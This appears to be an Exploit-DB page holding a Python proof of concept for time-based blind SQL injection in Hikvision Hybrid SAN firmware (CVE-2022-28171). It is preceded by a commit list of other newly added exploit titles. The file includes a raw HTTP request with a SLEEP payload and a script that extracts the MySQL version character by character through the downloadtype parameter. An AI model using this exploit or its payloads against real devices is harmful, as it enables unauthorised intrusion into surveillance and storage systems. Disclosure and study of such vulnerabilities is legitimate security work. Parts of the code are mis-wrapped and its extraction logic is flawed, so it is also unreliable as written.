3a3c03321c
18 changes to exploits/shellcodes/ghdb Hikvision Hybrid SAN Ds-a71024 Firmware - Multiple Remote Code Execution ABB FlowX v4.00 - Exposure of Sensitive Information TP-Link TL-WR740N - Authenticated Directory Transversal Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS) Blackcat Cms v1.4 - Remote Code Execution (RCE) Blackcat Cms v1.4 - Stored XSS CmsMadeSimple v2.2.17 - Remote Code Execution (RCE) CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI) CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS) Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration) Online Piggery Management System v1.0 - unauthenticated file upload vulnerability phpfm v1.7.9 - Authentication type juggling PimpMyLog v1.7.14 - Improper access control PMB 7.4.6 - SQL Injection Statamic 4.7.0 - File-Inclusion Vaidya-Mitra 1.0 - Multiple SQLi
101 lines
No EOL
3.6 KiB
Python
Executable file
101 lines
No EOL
3.6 KiB
Python
Executable file
# Exploit Title: Hikvision Hybrid SAN Ds-a71024 Firmware - Multiple Remote Code Execution
|
|
# Date: 16 July 2023
|
|
# Exploit Author: Thurein Soe
|
|
# CVE : CVE-2022-28171
|
|
# Vendor Homepage: https://www.hikvision.com
|
|
# Software Link: N/A
|
|
# Refence Link: https://cve.report/CVE-2022-28171
|
|
# Version: Filmora 12: Ds-a71024 Firmware, Ds-a71024 Firmware Ds-a71048r-cvs Firmware Ds-a71048 Firmware Ds-a71072r Firmware Ds-a71072r Firmware Ds-a72024 Firmware Ds-a72024 Firmware Ds-a72048r-cvs Firmware Ds-a72072r Firmware Ds-a80316s Firmware Ds-a80624s Firmware Ds-a81016s Firmware Ds-a82024d Firmware Ds-a71048r-cvs Ds-a71024 Ds-a71048 Ds-a71072r Ds-a80624s Ds-a82024d Ds-a80316s Ds-a81016s
|
|
'''
|
|
Vendor Description:
|
|
|
|
Hikvision is a world-leading surveillance manufacturer and supplier of
|
|
video surveillance and Internet of Things (IoT) equipment for civilian and
|
|
military purposes.
|
|
Some Hikvision Hybrid SAN products were vulnerable to multiple remote code
|
|
execution vulnerabilities such as command injection, Blind SQL injection,
|
|
HTTP request smuggling, and reflected cross-site scripting.
|
|
This resulted in remote code execution that allows an adversary to execute
|
|
arbitrary operating system commands and more. However, an adversary must be
|
|
on the same network to leverage this vulnerability to execute arbitrary
|
|
commands.
|
|
|
|
Vulnerability description:
|
|
A manual test confirmed that The download type parameter was vulnerable to
|
|
Blind SQL injection.I created a Python script to automate and enumerate SQL
|
|
versions as the Application was behind the firewall and block all the
|
|
requests from SQLmap.
|
|
|
|
Request Body:
|
|
GET
|
|
/web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)'
|
|
HTTP/1.1
|
|
Host: X.X.X.X.12:2004
|
|
Accept-Encoding: gzip, deflate
|
|
Accept: */*
|
|
Accept-Language: en
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
|
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
|
|
Connection: close
|
|
|
|
POC:
|
|
'''
|
|
import requests
|
|
import time
|
|
|
|
url = "http://X.X.X.X:2004/web/log/dynamic_log.php"
|
|
|
|
# Function to check if the response time is greater than the specified delay
|
|
def is_response_time_delayed(response_time, delay):
|
|
return response_time >= delay
|
|
|
|
# Function to perform blind SQL injection and check the response time
|
|
def perform_blind_sql_injection(payload):
|
|
proxies = {
|
|
'http': 'http://localhost:8080',
|
|
'https': 'http://localhost:8080',
|
|
}
|
|
|
|
params = {
|
|
'target': 'makeMaintainLog',
|
|
'downloadtype': payload
|
|
}
|
|
headers = {
|
|
'Accept-Encoding': 'gzip, deflate',
|
|
'Accept': '*/*',
|
|
'Accept-Language': 'en',
|
|
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36',
|
|
'Connection': 'close'
|
|
}
|
|
|
|
start_time = time.time()
|
|
response = requests.get(url, headers=headers, params=params,
|
|
proxies=proxies)
|
|
end_time = time.time()
|
|
|
|
response_time = end_time - start_time
|
|
return is_response_time_delayed(response_time, 20)
|
|
|
|
# Enumerate the MySQL version
|
|
def enumerate_mysql_version():
|
|
version_Name = ''
|
|
sleep_time = 10 # Sleep time is 10 seconds
|
|
|
|
payloads = [
|
|
f"' AND (SELECT IF(ASCII(SUBSTRING(@@version, {i}, 1))={mid},
|
|
SLEEP({sleep_time}), 0))-- -"
|
|
for i in range(1, 11)
|
|
for mid in range(256)
|
|
]
|
|
|
|
for payload in payloads:
|
|
if perform_blind_sql_injection(payload):
|
|
mid = payload.split("=")[-1].split(",")[0]
|
|
version_Name += chr(int(mid))
|
|
|
|
return version_Name
|
|
|
|
# Enumeration is completed
|
|
version_Name = enumerate_mysql_version()
|
|
print("MySQL version is:", version_Name) |